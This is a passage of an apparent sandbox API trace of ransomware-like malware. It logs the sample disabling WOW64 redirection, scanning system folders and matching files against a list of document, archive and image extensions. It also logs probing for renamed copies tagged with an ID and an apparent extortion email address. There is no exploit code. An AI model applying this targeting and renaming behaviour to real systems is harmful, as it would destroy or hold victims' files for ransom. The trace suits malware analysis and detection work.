lpStartAddress=0x408d90, lpParameter=0x2fe9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0266.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x2fe9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160 [0266.462] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f53d8 [0266.462] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f53d8, Size=0x20) returned 0x312a70 [0266.462] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f53d8 [0266.462] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f53d8, Size=0x20) returned 0x312a98 [0266.462] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.584] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.584] Wow64DisableWow64FsRedirection (in: OldValue=0x257ff84 | out: OldValue=0x257ff84*=0x0) returned 1 [0266.584] lstrlenW (lpString="kernel32.dll") returned 12 [0266.584] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312a70 | out: hHeap=0x2a0000) returned 1 [0266.584] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.584] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312a98 | out: hHeap=0x2a0000) returned 1 [0266.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x322ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184 [0266.586] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0266.829] GetTickCount () returned 0x7261 [0266.829] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0267.006] GetTickCount () returned 0x731c [0267.006] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0267.184] GetTickCount () returned 0x73c8 [0267.184] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0267.500] GetTickCount () returned 0x7500 [0267.500] GetTickCount () returned 0x7500 [0267.500] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0267.718] GetTickCount () returned 0x75da [0267.718] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0267.871] GetTickCount () returned 0x7676 [0267.871] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0268.091] GetTickCount () returned 0x7750 [0268.091] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0268.342] GetTickCount () returned 0x784a [0268.342] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0268.527] GetTickCount () returned 0x7905 [0268.529] GetTickCount () returned 0x7905 [0268.530] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0268.754] GetTickCount () returned 0x79ef [0268.754] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0269.137] GetTickCount () returned 0x7b66 [0269.137] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0269.348] GetTickCount () returned 0x7c31 [0269.348] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0269.462] GetTickCount () returned 0x7cad [0269.462] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0269.680] GetTickCount () returned 0x7d78 [0269.680] GetTickCount () returned 0x7d78 [0269.680] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0269.790] GetTickCount () returned 0x7de5 [0269.790] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0269.937] GetTickCount () returned 0x7e53 [0269.938] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0270.152] GetTickCount () returned 0x7f2d [0270.152] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0270.263] GetTickCount () returned 0x7f9a [0270.263] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0270.401] GetTickCount () returned 0x8017 [0270.401] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0270.546] GetTickCount () returned 0x80a3 [0270.546] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0270.983] GetTickCount () returned 0x8249 [0270.983] GetTickCount () returned 0x8249 [0270.983] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0271.198] GetTickCount () returned 0x8313 [0271.198] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0271.482] GetTickCount () returned 0x841d [0271.482] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0271.952] GetTickCount () returned 0x85f1 [0271.952] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0272.223] GetTickCount () returned 0x86fa [0272.223] GetTickCount () returned 0x86fa [0272.223] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0272.598] GetTickCount () returned 0x8870 [0272.598] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0272.861] GetTickCount () returned 0x896a [0272.861] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0273.062] GetTickCount () returned 0x8a25 [0273.062] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0273.426] GetTickCount () returned 0x8b8c [0273.426] GetTickCount () returned 0x8b8c [0273.426] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0273.738] GetTickCount () returned 0x8cc4 [0273.738] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0274.160] GetTickCount () returned 0x8e59 [0274.174] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0274.320] GetTickCount () returned 0x8ef5 [0274.321] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0274.510] GetTickCount () returned 0x8fb1 [0274.510] GetTickCount () returned 0x8fb1 [0274.510] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0274.823] GetTickCount () returned 0x90d9 [0274.823] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0274.986] GetTickCount () returned 0x9175 [0274.986] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) Thread: id = 92 os_tid = 0x618 Thread: id = 95 os_tid = 0x674 [0266.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x342f10 [0266.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x352f18 [0266.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5408 [0266.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x2f2f20 [0266.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5300 [0266.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x3740020 [0266.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f53d8 [0266.587] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f53d8, Size=0x20) returned 0x312b10 [0266.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f53d8 [0266.587] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f53d8, Size=0x20) returned 0x312958 [0266.587] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.587] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.587] Wow64DisableWow64FsRedirection (in: OldValue=0x2bfff58 | out: OldValue=0x2bfff58*=0x0) returned 1 [0266.587] lstrlenW (lpString="kernel32.dll") returned 12 [0266.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312b10 | out: hHeap=0x2a0000) returned 1 [0266.587] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312958 | out: hHeap=0x2a0000) returned 1 [0266.587] Sleep (dwMilliseconds=0x64) [0266.830] lstrlenW (lpString="BCD") returned 3 [0266.830] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.830] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.830] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.830] lstrlenW (lpString=".doc") returned 4 [0266.830] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0266.830] lstrlenW (lpString=".docx") returned 5 [0266.830] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0266.830] lstrlenW (lpString=".pdf") returned 4 [0266.830] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0266.830] lstrlenW (lpString=".xls") returned 4 [0266.830] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0266.830] lstrlenW (lpString=".xlsx") returned 5 [0266.830] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0266.830] lstrlenW (lpString=".ppt") returned 4 [0266.830] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0266.830] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.830] lstrlenW (lpString=".zip") returned 4 [0266.830] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0266.830] lstrlenW (lpString=".rar") returned 4 [0266.830] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0266.830] lstrlenW (lpString=".bz2") returned 4 [0266.830] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0266.830] lstrlenW (lpString=".7z") returned 3 [0266.830] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0266.830] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.831] lstrlenW (lpString=".dbf") returned 4 [0266.831] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.831] lstrlenW (lpString=".1cd") returned 4 [0266.831] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.831] lstrlenW (lpString=".jpg") returned 4 [0266.831] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.831] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.831] lstrlenW (lpString=".doc") returned 4 [0266.831] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString=".docx") returned 5 [0266.831] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0266.831] lstrlenW (lpString=".pdf") returned 4 [0266.831] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString=".xls") returned 4 [0266.831] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString=".xlsx") returned 5 [0266.831] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0266.831] lstrlenW (lpString=".ppt") returned 4 [0266.831] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.831] lstrlenW (lpString=".zip") returned 4 [0266.831] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString=".rar") returned 4 [0266.831] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString=".bz2") returned 4 [0266.831] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0266.831] lstrlenW (lpString=".7z") returned 3 [0266.831] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0266.831] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.831] lstrlenW (lpString=".dbf") returned 4 [0266.832] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0266.832] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.832] lstrlenW (lpString=".1cd") returned 4 [0266.832] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0266.832] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0266.832] lstrlenW (lpString=".jpg") returned 4 [0266.832] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0266.832] lstrcmpiW (lpString1=".LOG1", lpString2=".html") returned 1 [0266.832] lstrlenW (lpString="BCD.LOG1") returned 8 [0266.832] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0266.928] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=0) returned 1 [0266.928] CloseHandle (hObject=0x2b8) returned 1 [0266.928] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.928] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.928] lstrlenW (lpString=".doc") returned 4 [0266.928] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString=".docx") returned 5 [0266.928] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0266.928] lstrlenW (lpString=".pdf") returned 4 [0266.928] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString=".xls") returned 4 [0266.928] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString=".xlsx") returned 5 [0266.928] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0266.928] lstrlenW (lpString=".ppt") returned 4 [0266.928] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.928] lstrlenW (lpString=".zip") returned 4 [0266.928] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString=".rar") returned 4 [0266.928] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString=".bz2") returned 4 [0266.928] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString=".7z") returned 3 [0266.928] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0266.928] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.928] lstrlenW (lpString=".dbf") returned 4 [0266.928] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.928] lstrlenW (lpString=".1cd") returned 4 [0266.928] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.928] lstrlenW (lpString=".jpg") returned 4 [0266.928] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0266.928] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.929] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.929] lstrlenW (lpString=".doc") returned 4 [0266.929] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0266.929] lstrlenW (lpString=".docx") returned 5 [0266.929] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0266.929] lstrlenW (lpString=".pdf") returned 4 [0266.929] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0266.929] lstrlenW (lpString=".xls") returned 4 [0266.929] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0266.929] lstrlenW (lpString=".xlsx") returned 5 [0266.929] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0266.929] lstrlenW (lpString=".ppt") returned 4 [0266.929] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0266.929] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.929] lstrlenW (lpString=".zip") returned 4 [0266.929] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0266.929] lstrlenW (lpString=".rar") returned 4 [0266.929] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0266.929] lstrlenW (lpString=".bz2") returned 4 [0266.929] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0266.929] lstrlenW (lpString=".7z") returned 3 [0266.929] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0266.929] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.929] lstrlenW (lpString=".dbf") returned 4 [0266.929] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0266.929] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.929] lstrlenW (lpString=".1cd") returned 4 [0266.929] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0266.929] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0266.929] lstrlenW (lpString=".jpg") returned 4 [0266.929] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0266.929] Sleep (dwMilliseconds=0x64) [0267.181] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.181] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0267.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.224] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=4096) returned 1 [0267.224] CloseHandle (hObject=0x2f0) returned 1 [0267.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0267.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.224] lstrlenW (lpString=".doc") returned 4 [0267.224] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.224] lstrlenW (lpString=".docx") returned 5 [0267.224] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.225] lstrlenW (lpString=".pdf") returned 4 [0267.225] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.225] lstrlenW (lpString=".xls") returned 4 [0267.225] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.225] lstrlenW (lpString=".xlsx") returned 5 [0267.225] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.225] lstrlenW (lpString=".ppt") returned 4 [0267.225] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.225] lstrlenW (lpString=".zip") returned 4 [0267.225] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.225] lstrlenW (lpString=".rar") returned 4 [0267.225] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.225] lstrlenW (lpString=".bz2") returned 4 [0267.225] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.225] lstrlenW (lpString=".7z") returned 3 [0267.225] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.225] lstrlenW (lpString=".dbf") returned 4 [0267.225] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.225] lstrlenW (lpString=".1cd") returned 4 [0267.225] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.225] lstrlenW (lpString=".jpg") returned 4 [0267.225] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.225] lstrlenW (lpString=".doc") returned 4 [0267.225] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.225] lstrlenW (lpString=".docx") returned 5 [0267.225] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0267.225] lstrlenW (lpString=".pdf") returned 4 [0267.226] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.226] lstrlenW (lpString=".xls") returned 4 [0267.226] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.226] lstrlenW (lpString=".xlsx") returned 5 [0267.226] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0267.226] lstrlenW (lpString=".ppt") returned 4 [0267.226] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.226] lstrlenW (lpString=".zip") returned 4 [0267.226] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.226] lstrlenW (lpString=".rar") returned 4 [0267.226] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.226] lstrlenW (lpString=".bz2") returned 4 [0267.226] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.226] lstrlenW (lpString=".7z") returned 3 [0267.226] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.226] lstrlenW (lpString=".dbf") returned 4 [0267.226] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0267.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.226] lstrlenW (lpString=".1cd") returned 4 [0267.226] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0267.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0267.226] lstrlenW (lpString=".jpg") returned 4 [0267.226] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0267.226] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0267.226] lstrlenW (lpString="InputPersonalization.exe") returned 24 [0267.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.226] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2bfff1c | out: lpFileSize=0x2bfff1c*=383488) returned 1 [0267.226] CloseHandle (hObject=0x2f0) returned 1 [0267.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0267.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.227] lstrlenW (lpString=".doc") returned 4 [0267.227] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0267.227] lstrlenW (lpString=".docx") returned 5 [0267.227] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0267.227] lstrlenW (lpString=".pdf") returned 4 [0267.227] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0267.227] lstrlenW (lpString=".xls") returned 4 [0267.227] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0267.227] lstrlenW (lpString=".xlsx") returned 5 [0267.227] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0267.227] lstrlenW (lpString=".ppt") returned 4 [0267.227] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0267.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.227] lstrlenW (lpString=".zip") returned 4 [0267.227] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0267.227] lstrlenW (lpString=".rar") returned 4 [0267.227] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0267.227] lstrlenW (lpString=".bz2") returned 4 [0267.227] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0267.227] lstrlenW (lpString=".7z") returned 3 [0267.227] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0267.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.227] lstrlenW (lpString=".dbf") returned 4 [0267.227] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0267.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.227] lstrlenW (lpString=".1cd") returned 4 [0267.228] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0267.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.228] lstrlenW (lpString=".jpg") returned 4 [0267.228] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0267.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0267.228] lstrlenW (lpString=".doc") returned 4 [0267.228] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 